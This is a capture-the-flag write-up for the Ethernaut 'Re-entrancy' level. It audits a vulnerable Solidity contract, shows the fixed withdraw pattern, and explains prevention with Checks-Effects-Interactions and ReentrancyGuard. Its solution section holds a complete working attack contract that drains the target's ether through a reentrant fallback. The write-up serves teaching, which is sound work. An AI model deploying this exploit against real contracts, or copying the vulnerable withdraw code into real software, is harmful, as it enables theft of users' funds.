> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/re-entrancy.md).

# Re-entrancy

## Description

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

* Untrusted contracts can execute code where you least expect it.
* Fallback methods
* Throw/revert bubbling
* Sometimes the best way to attack a contract is with another contract.
* See the Help page above, section "Beyond the console"

## Background Knowledge

### Lecture

{% embed url="<https://youtu.be/4Mm3BCyHtDY>" %}
Reentrancy - Smart Contract Programmer
{% endembed %}

### Ethereum Book

{% embed url="<https://github.com/ethereumbook/ethereumbook/blob/develop/09smart-contracts-security.asciidoc#reentrancy>" %}
reentrancy - Mastering Ethereum
{% endembed %}

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
```

This contract fails to follow the [Checks Effects Interactions](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html)pattern. In the `withdraw()` function:

```solidity
// Bad
function withdraw(uint _amount) public {
    // Checks
	if(balances[msg.sender] >= _amount) {
	    // Interactions
	    (bool result,) = msg.sender.call{value:_amount}("");
	    if(result) {
		    _amount;
	    }
	    // Effects
	    balances[msg.sender] -= _amount;
	}
}
```

handles the `call()` (interaction) too early in the implementation. This `call()` (interaction) is supposed to happen after `balances[msg.sender] -= _amount` (effect):

```solidity
// Good
function withdraw(uint _amount) public {
    // Checks
	if(balances[msg.sender] >= _amount) {
	    // Effects
	    balances[msg.sender] -= _amount;
	    // Interactions
	    (bool result,) = msg.sender.call{value:_amount}("");
	    if(result) {
		    _amount;
	    }
	}
}
```

When calling `withdraw` it invokes our contract again before resetting the balance, allowing us to enter the contract again with another withdraw action. This is the classic re-entrancy attack.

## Solution

Enumerate how many ether is stored in the target contract:

```javascript
await getBalance(contract.address)
```

The target contract has 0.001 ether, which is 1000000000000000 wei.

Write an attack contract in Remix IDE:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentranceAttack {
    address public owner;
    IReentrance targetContract;
    uint constant targetValue = 1000000000000000; // 0.001 ether

    constructor(address _target) {
        targetContract = IReentrance(_target);
        owner = msg.sender;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function donateAndWithdraw() public payable {
        require(msg.value >= targetValue);
        targetContract.donate{value: msg.value}(address(this));
        targetContract.withdraw(msg.value); // exploit reentrancy
    }

    function withdrawAll() public returns (bool) {
        require(msg.sender == owner);
        uint totalBalance = address(this).balance;
        (bool sent, ) = msg.sender.call{value: totalBalance}("");
        require(sent);
        return sent;
    }

    receive() external payable {
        uint targetBalance = address(targetContract).balance;
        if (targetBalance >= targetValue) {
          targetContract.withdraw(targetValue);
        }
    }
}
```

Call `donateAndWithdraw()` with `msg.value == 1000000000000000`.

## Summary

In order to prevent re-entrancy attacks when moving funds out of your contract, use the [Checks-Effects-Interactions pattern](https://solidity.readthedocs.io/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern) being aware that `call` will only return false without interrupting the execution flow. Solutions such as [ReentrancyGuard](https://docs.openzeppelin.com/contracts/2.x/api/utils#ReentrancyGuard) or [PullPayment](https://docs.openzeppelin.com/contracts/2.x/api/payment#PullPayment) can also be used.

`transfer` and `send` are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork [Source 1](https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/) [Source 2](https://forum.openzeppelin.com/t/reentrancy-after-istanbul/1742).

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and *re-enter* your contract, possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!

### The DAO Hack

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See [15 lines of code that could have prevented TheDAO Hack](https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942).
